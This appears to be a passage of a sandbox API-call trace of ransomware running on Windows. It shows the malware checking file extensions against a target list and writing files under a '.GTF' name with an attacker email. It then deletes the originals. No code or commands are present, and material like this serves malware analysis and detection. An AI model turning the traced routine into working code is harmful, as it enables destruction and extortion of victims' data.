	[0091.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.361] lstrlenW (lpString=".1cd") returned 4
	[0091.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.361] lstrlenW (lpString=".jpg") returned 4
	[0091.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.361] lstrlenW (lpString=".doc") returned 4
	[0091.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.362] lstrlenW (lpString=".docx") returned 5
	[0091.362] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0091.362] lstrlenW (lpString=".pdf") returned 4
	[0091.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.362] lstrlenW (lpString=".xls") returned 4
	[0091.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.362] lstrlenW (lpString=".xlsx") returned 5
	[0091.362] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0091.362] lstrlenW (lpString=".ppt") returned 4
	[0091.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.362] lstrlenW (lpString=".zip") returned 4
	[0091.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.362] lstrlenW (lpString=".rar") returned 4
	[0091.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.362] lstrlenW (lpString=".bz2") returned 4
	[0091.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.362] lstrlenW (lpString=".7z") returned 3
	[0091.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.362] lstrlenW (lpString=".dbf") returned 4
	[0091.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.362] lstrlenW (lpString=".1cd") returned 4
	[0091.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.362] lstrlenW (lpString=".jpg") returned 4
	[0091.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.362] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.362] lstrlenW (lpString="J0099181.WMF") returned 12
	[0091.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0091.363] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1198) returned 1
	[0091.363] CloseHandle (hObject=0x37c) returned 1
	[0091.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220
	[0091.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0091.363] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.363] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.364] GetLastError () returned 0x0
	[0091.364] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4ae, lpOverlapped=0x0) returned 1
	[0091.369] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4b0, lpOverlapped=0x0) returned 1
	[0091.371] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.371] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.371] SetEndOfFile (hFile=0x378) returned 1
	[0091.371] CloseHandle (hObject=0x378) returned 1
	[0091.371] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.371] SetEndOfFile (hFile=0x37c) returned 1
	[0091.372] CloseHandle (hObject=0x37c) returned 1
	[0091.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1
	[0091.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.373] lstrlenW (lpString=".doc") returned 4
	[0091.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.373] lstrlenW (lpString=".docx") returned 5
	[0091.373] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0091.373] lstrlenW (lpString=".pdf") returned 4
	[0091.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.373] lstrlenW (lpString=".xls") returned 4
	[0091.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.373] lstrlenW (lpString=".xlsx") returned 5
	[0091.373] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0091.373] lstrlenW (lpString=".ppt") returned 4
	[0091.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.373] lstrlenW (lpString=".zip") returned 4
	[0091.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.373] lstrlenW (lpString=".rar") returned 4
	[0091.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.373] lstrlenW (lpString=".bz2") returned 4
	[0091.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.373] lstrlenW (lpString=".7z") returned 3
	[0091.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.373] lstrlenW (lpString=".dbf") returned 4
	[0091.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.373] lstrlenW (lpString=".1cd") returned 4
	[0091.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.374] lstrlenW (lpString=".jpg") returned 4
	[0091.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.374] lstrlenW (lpString=".doc") returned 4
	[0091.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.374] lstrlenW (lpString=".docx") returned 5
	[0091.374] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0091.374] lstrlenW (lpString=".pdf") returned 4
	[0091.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.374] lstrlenW (lpString=".xls") returned 4
	[0091.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.374] lstrlenW (lpString=".xlsx") returned 5
	[0091.374] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0091.374] lstrlenW (lpString=".ppt") returned 4
	[0091.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.374] lstrlenW (lpString=".zip") returned 4
	[0091.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.374] lstrlenW (lpString=".rar") returned 4
	[0091.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.374] lstrlenW (lpString=".bz2") returned 4
	[0091.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.374] lstrlenW (lpString=".7z") returned 3
	[0091.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.374] lstrlenW (lpString=".dbf") returned 4
	[0091.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.374] lstrlenW (lpString=".1cd") returned 4
	[0091.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0091.374] lstrlenW (lpString=".jpg") returned 4
	[0091.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.375] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.375] lstrlenW (lpString="J0099182.WMF") returned 12
	[0091.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0091.375] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3840) returned 1
	[0091.375] CloseHandle (hObject=0x37c) returned 1
	[0091.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220
	[0091.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0091.375] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.376] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.376] GetLastError () returned 0x0
	[0091.376] ReadFile (hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0) 

Thread:
	id = 12
	os_tid = 0xe8c

	[0060.217] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x7eed80
	[0060.217] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x7fed88
	[0060.217] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d1d8
	[0060.217] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x6) returned 0x7acff0
	[0060.217] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d100
	[0060.217] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x30c0020
	[0060.220] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d118
	[0060.220] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d118, Size=0x20) returned 0x75ebb0
	[0060.220] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d118
	[0060.220] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d118, Size=0x20) returned 0x75ec50
	[0060.220] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0060.220] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0060.220] Wow64DisableWow64FsRedirection (in: OldValue=0x2c1ff50 | out: OldValue=0x2c1ff50*=0x0) returned 1
	[0060.220] lstrlenW (lpString="kernel32.dll") returned 12
	[0060.220] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ebb0 | out: hHeap=0x720000) returned 1
	[0060.220] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0060.220] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ec50 | out: hHeap=0x720000) returned 1
	[0060.221] Sleep (dwMilliseconds=0x64) 
	[0060.501] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0060.502] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0060.502] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.715] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=6004) returned 1
	[0060.715] CloseHandle (hObject=0x2c8) returned 1
	[0060.715] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20
	[0060.715] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0061.942] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0061.942] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.942] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.942] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0061.944] GetLastError () returned 0x0
	[0061.944] ReadFile (in: hFile=0x2c0, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1774, lpOverlapped=0x0) returned 1
	[0061.969] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1780, lpOverlapped=0x0) returned 1
	[0062.004] ReadFile (in: hFile=0x2c0, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.004] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x114, lpOverlapped=0x0) returned 1
	[0062.004] SetEndOfFile (hFile=0x2cc) returned 1
	[0062.004] CloseHandle (hObject=0x2cc) returned 1
	[0062.006] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.006] SetEndOfFile (hFile=0x2c0) returned 1
	[0062.007] CloseHandle (hObject=0x2c0) returned 1
	[0062.007] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0062.007] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1
	[0062.007] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.007] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.007] lstrlenW (lpString=".doc") returned 4
	[0062.007] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0062.007] lstrlenW (lpString=".docx") returned 5
	[0062.007] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0062.007] lstrlenW (lpString=".pdf") returned 4
	[0062.008] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0062.008] lstrlenW (lpString=".xls") returned 4
	[0062.008] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0062.008] lstrlenW (lpString=".xlsx") returned 5
	[0062.008] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1
	[0062.008] lstrlenW (lpString=".ppt") returned 4
	[0062.008] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0062.008] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.008] lstrlenW (lpString=".zip") returned 4
	[0062.008] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0062.008] lstrlenW (lpString=".rar") returned 4
	[0062.008] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0062.008] lstrlenW (lpString=".bz2") returned 4
	[0062.008] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0062.008] lstrlenW (lpString=".7z") returned 3
	[0062.008] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0062.008] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.008] lstrlenW (lpString=".dbf") returned 4
	[0062.008] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0062.008] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.008] lstrlenW (lpString=".1cd") returned 4
	[0062.008] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0062.008] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.008] lstrlenW (lpString=".jpg") returned 4
	[0062.008] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0062.008] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.008] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.008] lstrlenW (lpString=".doc") returned 4
	[0062.008] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0062.008] lstrlenW (lpString=".docx") returned 5
	[0062.008] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0062.008] lstrlenW (lpString=".pdf") returned 4
	[0062.008] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0062.008] lstrlenW (lpString=".xls") returned 4
	[0062.008] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0062.008] lstrlenW (lpString=".xlsx") returned 5
	[0062.008] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1
	[0062.009] lstrlenW (lpString=".ppt") returned 4
	[0062.009] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0062.009] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.009] lstrlenW (lpString=".zip") returned 4
	[0062.009] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0062.009] lstrlenW (lpString=".rar") returned 4
	[0062.009] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0062.009] lstrlenW (lpString=".bz2") returned 4
	[0062.009] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0062.009] lstrlenW (lpString=".7z") returned 3
	[0062.009] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0062.009] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.009] lstrlenW (lpString=".dbf") returned 4
	[0062.009] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0062.009] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.009] lstrlenW (lpString=".1cd") returned 4
	[0062.009] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0062.009] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0062.009] lstrlenW (lpString=".jpg") returned 4
	[0062.009] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0062.009] Sleep (dwMilliseconds=0x64) 
	[0062.376] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0062.376] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.376] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.553] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=80970) returned 1
	[0062.553] CloseHandle (hObject=0x2f8) returned 1
	[0062.554] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80
	[0062.554] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0062.554] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.554] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.554] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
